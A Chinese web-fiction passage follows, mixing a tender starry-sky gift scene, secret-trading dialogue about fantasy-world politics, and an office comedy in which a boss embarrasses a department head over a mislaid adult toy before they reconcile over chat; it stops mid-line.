马塔库库走到办公室的一角,拿出一个特别的水晶球。马塔库库将它放在办公桌上,接着缓缓插入U盘。过了一会,这个水晶球迸发出奇迹的色彩。刹那间,办公室内的灯都关闭了。紧接着,一幅壮丽的星图展现在马塔库库眼前。 一首空灵的乐曲缓缓响起,沉寂的星空躁动起来。繁星围绕极星开始旋转,一场群星的舞会悄悄开始。无数飞星掠过天空,与星辰一起在夜空中翩翩起舞;漫天星宿随同乐曲的此起彼伏而四处游动,似一条穿过洋流的小鱼。眼前的星空再次激起了马塔库库对星空的向往,她心中沉睡许久的宇宙之梦被悄悄唤醒。 恍惚间,她又回到了儿时。那时她总会趴在窗户前,痴痴地眺望远方的星空。她的二姐安吉拉常常会陪在她的身旁,和她一同欣赏那美丽的星空。那时她的脑中只装得下这片星空,其他什么都是浮云一样的存在。童年的美好正是如此,不必担心任何,只是快乐地活着。 时光荏苒岁月如梭,旧人旧事也都或多或少发生了变化。平时最爱她的二姐,在命运的引导下奔赴属于她的战场,离开了她的身旁。而她自己,也要奔赴属于她的战场。她虽想伸手挽留住那份温情,可天下哪有不散的宴席,即便是血肉亲情的联结,也终有一日会因志向不同而断绝。 她仔细想来,她真正爱的其实不是那片星空,而是如星空般的人们,那些她所挂念、爱的人们。 殇: “这真是个奇迹!依我看,这是这世上最特别的礼物了吧。” 马塔库库这时内眦淌泪,激动地一时间说不出话来。她痴痴地凝望这片星空,就同儿时的那样。在这片美丽又缥缈的星空中,她看到了自己的祖母,看到了自己的父亲,看到了自己的二姐,看到了自己的心恋上官。 看着看着,一人悄悄搂住了她的肩。她转头看去,只看得上官站在她的身旁,正笑着凝视着她。一时间,两人的脸都红了起来。青春的羞涩使两人陷入温情的尴尬,紧张与不安爬上了他们的脊背。气氛突然变得尴尬起来,在一旁靠着墙注视两人的殇待不住了。殇咳嗽两声,说: “喂!愣着干啥?抬头看啊!这么好看的星空,不看可惜了。” 马塔库库和上官对视一眼,然后一同抬头欣赏天花板的星空。虽然那星空是上官用科技手段合成出的假象,但两人依旧看得满足、尽兴。星空不重要,重要的是情。她们向往星空,因为星空藏着她们的思念。 殇: “也许这就是爱情的魔力所在吧。一份普通的礼物,竟能带来如此大的感动。真是不可思议!但又有理有据的。哈,搞不明白。” 这时,乔察觉到异样推门走了进来。乔见两人这样,皱起眉来小声嘀咕道: “公司规定第3条第15款,公司内禁止谈恋爱。” 殇走到乔身旁,轻拍乔的肩膀,告诉乔: “别那么死板。这种事情,还是不要管为好。” 乔一把打开殇的手,很严肃地说: “这是规定!既然是规定,任何人都要遵守。” 殇反驳道: “规矩是死的,人是活的。通融一下,更何况那还是你的老板。正所谓退一步海阔天空吗。” “没有规矩,人就是死的。天子犯法,与民同罪。无论何时,规则永生。否认规则而背弃者,终将覆灭于无序。” “好吧,好吧。说不过你。但是,你这规则的执行的能不能慢一些,等他们赏完这星空你在罚他们也不迟。” “我也正有这个想法。不过......非常时期还是不要被恋爱所影响较好。我不否认爱能带来奇迹,但爱的确会影响人的思维。若为了一己之爱而做出错误的决定,那绝不是领导者该有品质。换言之,若她做了错误的决定,Z公司的每个人必将给予她审判。” “说的的确是对。但事态怎么发展,我们这外人可干预不了。” “为何?” “你没听过爱能冲破一切屏障这句话吗?” “听过。不过那是少数。” “那你能确保马塔库库她不是那少数中的一个吗?” “唔......” “更何况,她们两个站在同一战线,这样彼此促进也很不错不是吗?” 乔握紧了拳头,眉头轻皱,他浑身散发着王者气息。乔很严肃地说: “那得看这份爱是为了什么了?若是肉欲与占有,那它毫无意义。若真如此,我会立即执行审判,处决那玷污爱的污秽。” “听你这么一说,你对这方面还挺了解的。” “了解?略知一二吧。我读过的书有五百多本,我的知识储量让我面对任何人都有绝对的自信。” “那你有家室吗?” “拒绝访问。你无权知道。” “哈?” “我的一切信息都处于高度保密状态,你休想从我口中知道任何关键消息。” “看样子,你这身法不一般啊。” “你也一样不是吗?” “好吧,看来我这身份到哪都藏不住啊。” “我可否向你打听个消息?” “啥消息?” “法戈·明与寰的那一战你了解吗?” “了解,肯定了解。法戈·明是我的好哥们。” “可否告诉我结果如何。” 殇抱起膀来,说: “拒绝访问。你无权知道。” “学别人说话是非常不礼貌的。” “我知道。” “明知故犯,没礼貌的家伙。” “你要想从我嘴里套到消息,得给我合适的筹码。” “好吧,好吧。作为交换,我告诉你一个秘密,你告诉大战的结果。这样我们都没亏损。意下如何?” “好。——大战的结果是寰输了。她没能战胜法戈·明,被法戈·明所击败。堂堂管理员,没打过一个开奶茶店的。” “这个好斗的女人,真是让人不放心。——那后来她受伤了吗?是不是败状非常惨烈?还是什么事也没有?” “你这是关心她吗?” “你是好奇宝宝吗?问题怎么这么多。——你得先告诉我结果!不然你休想从我口中知道任何事。” “好好好。——她实际上几乎啥事没有。那一点内伤我估摸她那边很快就治好了,而且也没缺胳膊少腿啥的,就是单纯打了一架。” “不错的结局。——那你想从我嘴里知道什么?我只能跟你说一个秘密。” “听你这话,你跟寰到底是啥关系?” “无可奉告,这个秘密的等级太高。一旦你知晓分毫,你将迎来死亡,而我将避免不了与寰发生冲突。” “那你可以告诉我些什么?” “我可以告诉你关于我的一个秘密。” “说来听听。” “其实,原本应该坐在耀星国管理员位子上的人是我,而并非我的妹妹弗。我并没有成为管理员。你知道这是为什么吗?” “为什么?” “第一,我在与寰的较量中因为偷偷放水而失手输给了寰。并且我把自己余生也输给了寰,很不值得不是吗?由于协会内部有铁规,管理员之间不允许二级及以上的亲密关系存在。寰这一步着实是聪明,这直接废了我这个候选人。” “所以说,你......” “你最好不要说出来。否则,后果自负。” “第二,我为调查‘门’的存在,自愿放弃赤手可得的管理员之位,并将这宝位交给我妹妹弗。而我则是背井离乡,在暗中调查‘门’。这所谓‘门’的存在,其蕴含的是改变世界的力量。一旦有人掌握了‘门’,都市法则乃至世界秩序都将被撼动。力量营造出的平衡将被打破、重置,新的法则将替代原来的法则。在那个过程中,我所想保护的一切必将受到戕害。” “门?那是个怎样奇特的东西?” “我也在调查中,尚未知道它指代的具体是什么。” “所以你就一路调查到了这里?” “不。我来这里是因为某些不可控因素所迫,我需要暂时隐蔽起来一段时间。同时,我也对这家公司抱有很大的兴趣......” “哦,原来是这样。” “还有一个事情我觉得有必要告诉你。” “什么?” “天上人的第五任薪王帝修,他来过这个国家。他因叛逃而亡命于此,来时携着他的妻子梅花。他在寻找......寻找命运的既定,名为‘天命’的存在。他说天命将是终结天上的腐败王朝的勇士,是能被称为王的存在。我想,你若哪日碰到了他,你可以尝试一下。也许......我们亲爱的殇殿下您,正是那所谓天命。” “行啊!我那天试试去。但前提是我得碰着了他。” 乔嘴角微微上扬,露出一抹坏意满满的微笑。 乔: “接下来,你得帮我办点事情。” 殇: “啊?我们不是一换一了吗?” 乔: “我说了第二,第二就是第二个秘密。你还欠我个秘密,你自然得帮我。” 殇: “你这不耍赖吗?” 乔的脸色阴沉下来,他脸上的笑容愈发阴森。 乔: “你难道想要反悔吗?那可真是令人不快啊。” 殇: “行行行,说吧,你要让我做什么。” 乔的脸色恢复到了正常,他的笑容中多了几分满意。这时,乔将一个白体金纹搭配的多功能手甲交给了殇,并用义眼帮殇解了锁。 乔: “拿上它,随时将它戴在身上,它能帮你很多忙。” 殇抱着试一试的心理穿上了手甲。刚穿上没多久,手甲就完成了多项身份识别工作,同时还顺利与殇的核心建立了连接。殇摆弄了一下,发现这手甲拥有很多殇用得上的功能,可谓是一只手兼具全部工具的功效,以一抵百。 殇: “这东西还挺好用!” 乔: “携带它,你可以随时与我进行沟通。我能通过远程通话的方式给予你帮助。但相对应的,你得帮我收集一些我不知道的信息。不用担心太多,它有扫描功能,未被记录的事物它会做出反应。也不用担心我话太多,只是合作不必多说话。最后,若你那天遇见了寰,记得连打三个响指。” 殇: “可以。所以说,你那个忙就是这些?” 乔: “仅此而已。” 殇: “那挺不错的,我一定帮。” 乔: “没啥大事别来呼叫我,我很忙的。” 殇: “行。” 时间飞速流逝,不知不觉就到了离开的时候。殇走到Z公司的大厅,按下了电梯按钮。这时,殇听到身后传来嘈杂的说话声,转身一瞧,以阿曼达为首的众多Z公司员工前来与殇道别。殇接受了他们的好意,也对着他们到了个别。这是殇第一次感受到来自感染者的热情,也可能是最后一次。殇以后很难再回到这里,这一来一回也许就是一生的一瞬。但殇会铭记住这里,这里有友善的感染者,这里有道不尽的人情温暖。 电梯很快就到了,殇登上电梯。临走前,送别的人群中出现了两个熟悉的影子。殇定睛一瞧,一黑一褐,上官和马塔库库也加入到了送别的队伍之中。殇露出一抹期待的微笑,对着马塔库库竖起了大拇指。 殇: “加油!各位。” 马塔库库搂紧上官,两人一起对殇竖了个大拇指,以示回应。随后,殇按下了向上去的按钮。电梯门渐渐关闭,电梯慢慢上升,穿越一段漫长的黑暗,很快就到了来时的入口。走出电梯,殇还有些意犹未尽。殇刚走出三步,就看到夜歌靠在墙边等待着自己。 殇问: “你什么时候上来的?” 夜歌答: “我在大厅逛了一会,中途去个厕所就找不到你们了。于是乎,我就在公司内简单逛了几圈,接着跟小主管聊聊天,之后就出来等你了。现在算下来,我等了你差不多有两个小时。” 殇说: “你可真有耐心。这两个小时都可以下几局棋的了。” 夜歌说: “先别说那么多了。走吧,我带你回去。” 殇点头,说: “行,走吧。” 在回去的路上,夜歌问殇: “走这么一大圈下来,感觉Z公司怎么样?” 殇笑着答: “棒极了!——那里的员工都挺友善的,而且各部门负责人各个都是精英,公司整体几乎挑不出什么毛病。他们的总裁马塔库库,一个有点呆萌的姑娘。她给我留下的很深的印象,她的那把刀印象更深。” 夜歌问: “还惦记那把刀呢?” 殇说: “一把又能射又能砍的刀,哪个战士不会喜欢?” 夜歌说: “那倒也是。只能说战士的品味很独特。” 殇问: “你说这世上还有像Z公司一样的好公司吗?” 夜歌回答: “也许有吧。” 殇笑着说: “希望这样的公司和这样的人多一些,多为这世界添加几分艳丽的色彩。” 夜歌说: “我也希望如此。” 殇说: “走!回去吃茶去。” 就这样,殇在Z公司的旅程在此画上了句号。而Z公司一行人的故事还在继续着,他们的路仍很漫长,未来还有许多未知。即便这道路的尽头也许是毁灭,但未来仍可去期待。 与此同时...... 今天是个普通而又无聊的一天,在碧蓝世界中也是如此。所有员工都在忙碌工作,没有几个员工能摸鱼。公司内各项事务都在紧罗密布地去弄,任何人都不敢懈怠半点。叮咚一声,午休的铃声响了,各部门员工都进入了休息状态。各大部门的部长也不例外。 这时,碧蓝世界人文部部长玛丽哈娜抬着一堆快递快步走向人文部。不经意间,一个黑色的小纸盒就掉在了地面上。她那时正与自己在公司里关系较好的朋友打招呼,没留意那个掉下来的纸盒。在玛丽哈娜拿着快递离开这里后不久,情报部的一位女员工路过此处,意外发现了这个纸盒。 莫妮卡(那名女员工): “诶?这怎么有个纸盒?” 莫妮卡拿起这个纸盒仔细瞧了一瞧。纸盒上写着金色的三个大字,还标注了一个特殊的禁止符号。 莫妮卡: “奇......趣......棒。那是什么东西?” 莫妮卡抬头看了看周围,她看到远处的玛丽哈娜正拿着一堆快递走向人文部。莫妮卡猜这是从玛丽哈娜那堆快递里掉出来的,于是开口就要叫住玛丽哈娜。可是玛丽哈娜走得太快,没等她叫玛丽哈娜就走过一个拐角不见了。见玛丽哈娜走远了,秉持着几分好奇心,她就偷偷看了看这盒子里的东西。这一看不要紧,在看到内容物的瞬间,她惊得后仰三步,同时直冒鼻血。 莫妮卡: “哎呀!这是什么呀!!!啊!!!我感觉我的思想被玷污了。哼,哼,啊啊啊啊!” 此时,情报部部长杰恰巧路过此地,一见到员工出现这个反应,就好奇地走了过去,问个究竟。 杰: “怎么了?发生什么事了?” 杰这时注意到了她手中的盒子。杰一把拿过这个盒子,仔细地看了看,还特意看了看盒子背面。杰还把盒子打开,看了看里面。见到里面物体的一瞬间,杰愣了片刻,然后一把关上盒子。此时,杰的表情不禁疑惑起来。 杰: “好家伙,你还有这喜好?” 莫妮卡拿来纸巾擦擦鼻血,擦完鼻血连忙解释道: “部长,这不是我的。这......这是......” 莫妮卡突然想到了玛丽哈娜发飙的样子。突然间,话到嘴边她就不敢说了,怕玛丽哈娜事后找她算账。出于对小命的担忧,她决定不说。莫妮卡沉默了。 杰见她沉默,便警告她: “若你不说,我就算这东西是你的。根据老板定下的规矩,凡是敢往公司带这种污秽之物的人,都是要开除的!你想回家吗?” 莫妮卡一听,不说就得搭上自己的饭碗,她岂能愿意。在多方面考虑之后,她还是决定说出真相。但在说出真相之前,她先向杰提了个要求。 莫妮卡: “部长,我要是说了,你能别告诉别人是我说的吗?我害怕当事人会来报复我,我还想好好地为公司做贡献呢。” 杰: “可以。” 莫妮卡: “这东西......是从......人文部部长玛......玛丽哈娜那堆快递里掉出来的。我不知道......是不是她的......” 一听这有可能是玛丽哈娜的东西,杰两眼放光。杰寻思还有这等劲爆的新闻,于是二话不说,赶忙拉着莫妮卡去了碧蓝苍穹那里。被拉到老板办公室的莫妮卡吓得心都要飞出嗓子眼了,她非常害怕她会因为此事被开除。害怕着,害怕着,汗水就不知不觉浸湿了她的上衣。 碧蓝苍穹: “杰,你怎么拉了个你们部门的员工过来?怎么,是要将她开除吗?” 杰: “不,老板。这位好员工帮我们抓到了一个试图携带污秽物品的嫌犯,我把她拉来是来向你禀报此事的。” 碧蓝苍穹: “污秽之物?不会吧,咱公司还真会有人带这东西呀?” 杰将那个盒子放到了碧蓝苍穹的办公桌上。碧蓝苍穹一看上面那三个大字,感觉非常好奇,于是立即将盒中之物拿了出来。在盒中之物亮出来的一瞬间,在场的三人都愣住了。思想纯洁的三人见到这东西的瞬间,都感觉脑中爆发了一座火山,漫天的火山灰覆盖了天空;又感觉脑中灌进了污泥,洁净的溪流变得污浊。总而言之,他们的思想被这东西的出现给污染了。 碧蓝苍穹的脸上泛起意味深重的笑容,同时他用笑容掩盖了自己的惊讶。 碧蓝苍穹: “卧槽!这是那个人才买的,我想认识认识。好家伙,玩的是真变态呀。” 杰面露难色,把头转过去,不忍直视那个东西。 杰: “这是什么东西?!竟然设计的如此下流,不忍直视啊。” 莫妮卡直接把脸捂住,把头扭过去不敢去直视那个东西。 莫妮卡: “哎呀!!老板,别拿出来呀。我的思想又要被玷污啦!!!” 碧蓝苍穹随便按了按,发现这东西竟有许多功能可用。 碧蓝苍穹: “诶呀!这玩意还会动呢!真厉害。” 杰绷着个脸,紧闭双眼。他的双眼此时已经闭上多时了。那东西给他造成了不小思想污染,他不想去直视那东西。 杰: “老板,把I协议开一下。这东西不用认知处理不行!” 碧蓝苍穹: “哎呀,忘了还有你俩在呢。” 说完,碧蓝苍穹召唤出全息操作板,接着将I协议激活,认知处理随即生效。咔嚓一下,碧蓝苍穹手中的物体瞬间变成了红色错误方块。认知处理开完,杰睁开了眼睛,莫妮卡也放下了手。这下,他们三人能正常谈话了。 碧蓝苍穹: “说吧,杰。这东西到底是谁买来的。” 杰: “据我身旁这位好员工检举,疑似是人文部部长玛丽哈娜买的。” 碧蓝苍穹: “不可能吧?她怎能好这口呢?她再野,也没这么变态呀?” 杰: “那是没有准的事情。” 碧蓝苍穹: “嗯......你把这个员工送回部门,顺带把玛丽哈娜给我叫过来。” 杰: “明白,老板。” 杰带着莫妮卡离开了办公室。出了办公室,莫妮卡一脸忧心忡忡的样子。她见识过玛丽哈娜的威风,也见识过她的残暴,明白惹了她是怎样的一个下场。出于害怕,她非常惶恐地问杰: “怎么办,怎么办呀?部长,红姐知道了会把我做成木乃伊的!” 杰安抚她: “没事的,孩子。她要杀,也得是先杀我。你作为一个小小的员工,不会成为她的复仇对象的。” 虽然杰这么说,但莫妮卡还是有几分担忧。怀着担忧,莫妮卡回到了部门。 在杰去传唤玛丽哈娜的过程中,碧蓝苍穹把科技部部长戴达斯叫到了办公室中。 戴达斯: “老板,有什么事请您吩咐。” 碧蓝苍穹: “戴达斯,你说我手里这东西是干嘛用的?” 戴达斯: “额......老板,你开了认知处理,我只能看到你手中拿了个数据删除。” 碧蓝苍穹: “哦。” 碧蓝苍穹关闭了认知处理。认知处理一去,那东西又显了形。见到那东西的瞬间,戴达斯瞪大了双眼,顿时间感觉心里有万马奔腾的感觉。那种震撼感,比看到斯格玛的加密原型图设计的奥妙还要令他震撼。 戴达斯: “老板!这......这,这这......这是啥子东西?!诶呀我滴个亲娘诶!啊!我的眼睛!” 碧蓝苍穹: “你知道这东西是干嘛用的吗?” 戴达斯: “我不知道,我现在只想把它销毁掉。” 碧蓝苍穹: “别介,这东西是证物。一会调查完了还得物归原主呢。” 戴达斯: “我觉得还是算了吧。那人已经烂掉了,无法挽救了。这东西也是,把它销毁掉吧。我的眼中无法再容纳这样的污秽了,” 碧蓝苍穹: “那个一会再说吧。” 戴达斯: “老板,你把这东西交给我处理吧。我的双手已经迫不及待要把它扔进粉碎机里去了。” 碧蓝苍穹: “这得物归原主,先别急着销毁。” 戴达斯: “哦,好吧。——诶,老板,请问一下这东西是谁的?” 碧蓝苍穹: “嫌犯还没调查出来。目前最大嫌疑人是人文部的部长玛丽哈娜,应该是她的东西。” 戴达斯沉默了,他的世界观在此刻被刷新了。 戴达斯: “老板,我出去一下。短时间内能别把我传唤过来吗?我得去进行一轮心灵清洁工作了。” 碧蓝苍穹: “那你走吧,正好嫌疑人也快来了。” 戴达斯迷茫着走出了办公室。不一会,当事人玛丽哈娜走了进来。一见到碧蓝苍穹,玛丽哈娜就露出灿烂的笑容,又撩了下头发,非常在乎个人形象。她以她最好的样子去面对碧蓝苍穹,尽她所能地去在碧蓝苍穹面前树立淑女形象。 玛丽哈娜: “老板,请问有什么事情要吩咐。” 碧蓝苍穹: “我叫你来是认个东西。有热心员工捡到了别人丢失的东西,并把这东西交到了我这里。据说疑似失主是你,所以我就叫你来认。” 玛丽哈娜一拍手,露出十分感激的笑容。 玛丽哈娜: “诶呀,真的是非常感谢呢。这位好员工的精神值得我们学习,回头得好好嘉奖她一番才是呢。——请老板让我看看那样东西。” 碧蓝苍穹露出一抹坏笑,接着拿出了那个东西。见到这件东西的瞬间,玛丽哈娜的笑容凝固住了。紧接着,她的脸刷的一下涨得通红,她急忙用手遮住眼睛,并且把头扭向一旁。 玛丽哈娜: “诶呀卧槽!!!老板......快,快拿开。公共场合,怎么......怎么能拿那种东西呢?” 碧蓝苍穹: “这是你的吗?” 玛丽哈娜: “不是!!!我不会买这种东西的。” 碧蓝苍穹: “你确定吗?那位好心员工可亲眼目睹包装这件东西的盒子从你拿的那对快递里掉出来。” 玛丽哈娜: “没有!!!人家可是心地纯洁如雪呢,怎么会买这样的东西。” 碧蓝苍穹: “凡事得讲究个有理有据,我现在就调取公司的快递记录。” 玛丽哈娜突然把头扭了回来,并且额头开始冒汗。 玛丽哈娜: “不用了,老板。我能揪出买这样东西的罪人的,不必您动手。” 碧蓝苍穹正目不转睛地盯着屏幕上的快递记录表。 碧蓝苍穹: “嗯~~~黑市隐秘级纪念品,通历10年纪念款成人玩具奇趣棒.......收款人江南彼岸花。——呦,这名字好听啊。” 玛丽哈娜红着脸,汗水止不住地往下淌。她慌张到了极点,她的眼角甚至泛起了点点泪花。她现在十分无助,又想要逃离,恨不得挖个坑躲进去。社会性死亡的闸刀已经悬在她的头顶,她的人设即将在碧蓝苍穹面前崩塌。她此时大脑飞速运转,思考解决方案。但事情达到如今的这一步,已经无法挽回了。 玛丽哈娜: “老板,请给我个机会,我现在就把江南彼岸花揪出来。” 碧蓝苍穹没有理会她,继续在电脑上调查,顺藤摸瓜。 碧蓝苍穹: “打开我的社交软件看一看,进我们的群找一找。诶!还真有个叫江南彼岸花的人欸。” 玛丽哈娜的汗水已经遍布她的脸,泪水随同汗水一滴一滴地流下。她此刻感觉非常无助,非常渴求有人能来帮助她。但现在孤身一人,没人能给予现在弱小的她帮助。她眼睁睁看着碧蓝苍穹调查,却不能出手阻止,只觉得憋屈难受。 玛丽哈娜: “求你了,老板。不要再找了,让我替你去找吧。求你了,老板,求你了......” 她甚至在碧蓝苍穹面前卖起了萌,但碧蓝苍穹专注于调查,并未理会她。 碧蓝苍穹: “诶!我说什么来着。嘿咻,找到了。” 玛丽哈娜的心已经凉了半截了。 玛丽哈娜: “不要啊,老板。别查了!别查了!” 碧蓝苍穹: “嗯......让我看看啊。诶呦,这人还是我好友呢!” 玛丽哈娜的心已经全凉了,快冻成冰块了。 玛丽哈娜: “别......求你了,老板。别看啊!” 碧蓝苍穹: “红头发大妹子,还是个家境不错的姑娘呢。嗯......这人看起来怎么这么眼熟呢?嗯......好像就在我眼前呢。” 玛丽哈娜的心碎了,碎成了无数碎屑。 碧蓝苍穹: “想不到啊!玛丽哈娜。你这也太野了,玩的也太变态了,都快过不了审了。看来为响应春天的号召,你做了不少努力呀。” 玛丽哈娜此时泪汗纵横,一向坚强的她此时竟在流泪。 玛丽哈娜: “不是你想的这样的,老板。这是我帮珍妮·福客买的,她不好意思买就让我来买,我就帮个忙!帮人代购而已,别误会呀!” 碧蓝苍穹: “我没误会。” 玛丽哈娜松了一口气。 碧蓝苍穹: “我知道你在孤独寂寞的时候需要些关怀。我理解你,毕竟你都三十七了还没有对象,你这样胡思乱想是正常的。” 玛丽哈娜倒吸了一口凉气。 玛丽哈娜: “不!不是!不是这样的。老板,你误会了。” 碧蓝苍穹: “哎,别那么害羞。人不还没脱离动物范畴吗?有点特殊的心思很正常。毕竟人人又不是斯格玛这样的机械降神。” 玛丽哈娜: “老板~~~你听我解释呀~” 碧蓝苍穹: “没什么可解释的。既然此物的失主找到了,那请你把这宝物拿回去。” 此时在碧蓝苍穹办公室门外,杰、戴达斯还有前来送文件的柳冰冰三人正笑得合不拢嘴。 杰等人: “哈哈哈哈哈哈哈!哈哈哈哈哈!哈哈哈哈哈哈哈哈哈!哈哈哈哈哈哈!哈哈哈哈哈......” 一旁路过的员工见了,都用一种疑惑的目光看他们。介于他们三人是部长,怕得罪于他们,路过的员工只是看一两眼就离开了。说实在的,那些路过的员工真想知道他们到底在笑些什么。 杰: “想不到一向正经的红姐,竟然是这样的不正经。不给她发今年的奥兹卡可真是屈才了。哈哈哈哈!乐死我了。诶唷,笑累了,先歇会。” 戴达斯: “红姐呀,红姐。你怎么了呀?你这种野蛮的淑女怎么会买这种东西呢?哈哈哈哈!不行,诶呦......我的义体要过载了。——不愧是红姐!以一己之力承包了我这一个月全部的笑点。” 柳冰冰: “真是呢,女王刺这种东西也买,真是不害臊。谁家淑女会买这东西呀?哈哈哈哈哈哈哈!红姐这会可是出大糗喽!” 办公室内,碧蓝苍穹将那个东西放回盒子,然后将这盒子递给了玛丽哈娜。玛丽哈娜的眼睛发红,她的手颤抖着,十分不愿地接过了这个盒子。 玛丽哈娜: “老板......听我解释,事情真的......真的不是你想的那样。” 碧蓝苍穹: “嗯。好好回去工作吧。” 一股寒冷的啸流涌上玛丽哈娜的心头,她感觉到前所未有的悲伤与委屈,她这辈子都没现在这样伤心。玛丽哈娜低着头,双手攥着这个盒子,她站在原地一动不动看着这个黑子。渐渐地,这盒子的边缘出现了褶皱。悲伤与委屈化作愤怒,她一怒之下走到门口的垃圾桶,将这盒子狠狠地摔进垃圾桶里。碧蓝苍穹见她这样,故作疑惑地看着她。 她转过头来,双眼发红,眼神中有道不尽的悲伤。她走到碧蓝苍穹的桌前,用力拍了下桌子,大喊道: “老板!你就他妈的是个混蛋!” 喊完,她哭着跑出了办公室。她边跑边哭嘴里边说着: “我恨你!碧蓝苍穹。我恨你!碧蓝苍穹......” 碧蓝苍穹在原地愣了片刻才回过神来。这是他成为老板以来第一次有员工对着他喊,他感觉到前所未有的体验。这是他第一次见玛丽哈娜对自己发脾气,还是在这种他毫不在乎的鸡毛蒜皮的小事上。他不理解,为什么玛丽哈娜会哭?他明明一直在表明他不在乎此事,他明明在心里想了一百种理由洗白玛丽哈娜。他能看出玛丽哈娜很伤心,却不明白她伤心在哪里。这令他感觉苦恼。 一向常把微笑挂在脸上的碧蓝苍穹,此时竟收敛起笑容,不再欢笑。 此时在门口偷听的三人见势不对,立马收起笑容,急忙躲到一旁的走廊里假装欣赏走廊中的雕像。玛丽哈娜撞开办公室的门,冲出办公室,大哭着向公司总电梯跑去。门口偷听的三人转头看向玛丽哈娜。看着她悲痛欲绝的背影,三人才明白此事的严重性。 这时,碧蓝苍穹走出办公室,转头看向他们三个。他们三个注意到,碧蓝苍穹的表情非常严肃,远不是平时那般风轻云淡。 “你们三个都听到了吧?跟我来一趟,我给你下达点任务。” 碧蓝苍穹冷冷地说道。这三人一听,很听话地进了办公室。碧蓝苍穹坐在办公椅上,摆出极其严肃的架势。他们三个见老板如此,都不由得感到有些害怕。因为碧蓝苍穹无情的一句话,他们就都得卷盖铺走人。 碧蓝苍穹: “你们三个听好,今天这事不许传出去,更不需外人知道。把今天的快递统计表删除,别留下任何痕迹。还有,把我办公室的垃圾桶倒一倒,把里面那东西的条形码给我留下,其他都销毁掉。今天这事得处理得妥当,你们三个能办好吗?” 杰: “老板放心,我们的业务能力绝对可靠。今天这事绝对给你办的妥当。” 碧蓝苍穹: “杰,你是情报部的部长,处理情报问题你应该最在行。所若公司内传出我不想听到的那种流言蜚语......我第一个拿你是问。你知道我在处理能力不足的手下上有怎样高超的造诣。” 杰: “明白,老板。此事我定会处理妥当。” 碧蓝苍穹: “你们两个呢?” 戴达斯: “保证没问题。” 柳冰冰: “我也一样。” 碧蓝苍穹: “这秘密你们就烂在肚子里,不许在任何场合,任何地方说出来。要是得了肠胃病我给你们拿钱治。实在不行我给你们换个好点的胃,或是换个高端点的赛博义体。你们,听,明白了吗?” 杰等人: “明白,老板。” 之后,杰一行人将今天发生的糗事彻底隐藏起来。当事人莫妮卡接受了c级记忆清除,她遗忘掉了今天发生的所有事。并且,就如碧蓝苍穹吩咐的那样,一切能证明今天这间糗事的证据一一被删除。最后,一切又回到原来平凡又普通的样子,仿佛一切从未发生过一样。 玛丽哈娜哭着跑出公司,不顾保安和管理部的人阻拦,她开着自己的悬浮车就回了家。她在家里哭了很长时间。那段时间她将手机关机,窗帘全都拉上,将自己与外界完全隔离开。哭过闹过之后,她倍感空虚,一时间觉得一切仿佛没有意义。那种感觉就好像她把自己的生活摔了个粉碎,将一切有价值的东西同那自己的生活一般舍弃,感觉一瞬间失去了一切。 伤心归伤心,闹归闹,一码是一码。今天犯下这么多错误,她还得明天上班给出个交代。再怎么样,生活还得继续。她用颤抖的手打开自己的手机,慢慢翻看着自己在社交媒体上的照片。有一刻,她想删除自己的社交账号,假装自己从未在网络上存在过。但她想想还是放弃了,毕竟因为一点事就那么做不值当。 就在这时,她家的机器人将一个很大的方形包裹盒送进了她的房间。她见了,心想: “这是谁给我寄的包裹呢?” 她抱着好奇的心理打开了这个包裹,结果这里面是一盒又一盒的奇趣棒。她顿时大怒,一把这个包裹将它扔出了房间。扔完,她埋怨道: “这是哪个不要命家伙给我邮来的东西,是嫌我今天遭的罪还不够是吗?!” 她嘬了几口脏话,以表心中的不满。骂完,她继续翻看自己的社交媒体,突然发现一向不爱说话的老板竟给她发了条消息。她点开聊天界面一看,顿时感觉心里的不舒服少了些许。 红的花是绿的草(碧蓝苍穹社交软件的昵称): “小玛啊,还生气呢?” 她很不满地回了一句: “滚,不想跟你说话。” 对方回了她一句。 “别忘明天来上班。” 她怒上心头,回了一句: “不来,不来,就不来!有本事你把老娘开了。老娘不喜得搁你那里干了。” 接着,她们就在社交媒体上聊了起来。 红的花是绿的草: “委屈屈。(twt)” 江南彼岸花: “你恶不恶心啊?!” 红的花是绿的草: “(′?w?`)” 江南彼岸花: “滚!(。-`w′-)” 红的花是绿的草: “生气伤身体,得多喝几吨热水的。所以说,就别生气了。(^?^)” 江南彼岸花: “别跟我说话,烦你。(ˋ︿ˊ)” 红的花是绿的草: “对了,你收到我给你邮的包裹了吗?(???)” 她此时怒上心头,她狠狠瞪着屏幕,恨不得下一秒钻进手机里顺着网线揍碧蓝苍穹一顿。 江南彼岸花: “原来那些东西是你邮来的呀......你有病是吗?(。-`w′-)” 红的花是绿的草: “对滴,怎么样是不是很满意?(??v?v?)” 江南彼岸花: “你是不是在羞辱我?!做人怎能这么没下限?” 红的花是绿的草: “你不是挺喜欢这些东西的吗?我可特意将所有款型的都给你买来了呢。我是不是很贴心,快!夸夸我。(?▽?。)” 江南彼岸花: “碧蓝苍穹!我口口口,你口口是口口口是吗?你口口口口口口,口口口口口口口。我口口口口口口。口口口口口。” 红的花是绿的草: “诶呀,这咋还发电报了呢?(′?w?`)” 这时,她退出聊天界面,想要删除碧蓝苍穹的好友。在她按下那个按钮之前,她心里的自己劝她道: “玛丽哈娜,不至于,不至于。因为这点事就把老板联系人删掉,那以后可在公司咋混。冷静一点,冷静一点。深呼吸,冷静......老板给你买这东西本意不坏,想给你赔罪又不知道你喜欢啥而已。仅此而已......” 她放弃删老板好友的想法,在做了三个深呼吸后继续与老板聊天。 江南彼岸花: “抱歉,我失态了。” 红的花是绿的草: “awa。” 红的花是绿的草: “所以说,说完这些心情好点了吗?” 江南彼岸花: “这气则能这样说没就没?这事我跟你没玩。” 这时她赌气又将手机关机,放到一旁,然后躺在床上看着天花板发呆。躺着躺着,她眼睛一眯、一合,不知不觉就睡了两个钟头。 等她醒来之后,她也冷静了下来。她仔细想了想,再这样作下去也是作自己的前程。与其在家里生闷气,不如委屈一下自己,认了错好能回去工作。她再次打开手机,点开与碧蓝苍穹聊天,给他发了条道歉信息。 江南彼岸花: “明天我照常去上班。按照规定,我得写个几份检讨,检讨下我这鲁莽又愚蠢的行为。这件事是我错了。抱歉,给您添麻烦了。(u△u)” 红的花是绿的草: “阿巴阿巴,阿巴阿巴阿巴。(≡w≡)” 江南彼岸花: “请您原谅我,再给我一次改过的机会。(。﹏。*)” 红的花是绿的草: “啊?你又犯啥错了?(′?w?`)” 江南彼岸花: “唔......啊?什么?Σ(っ°Д°;)っ” 红的花是绿的草: 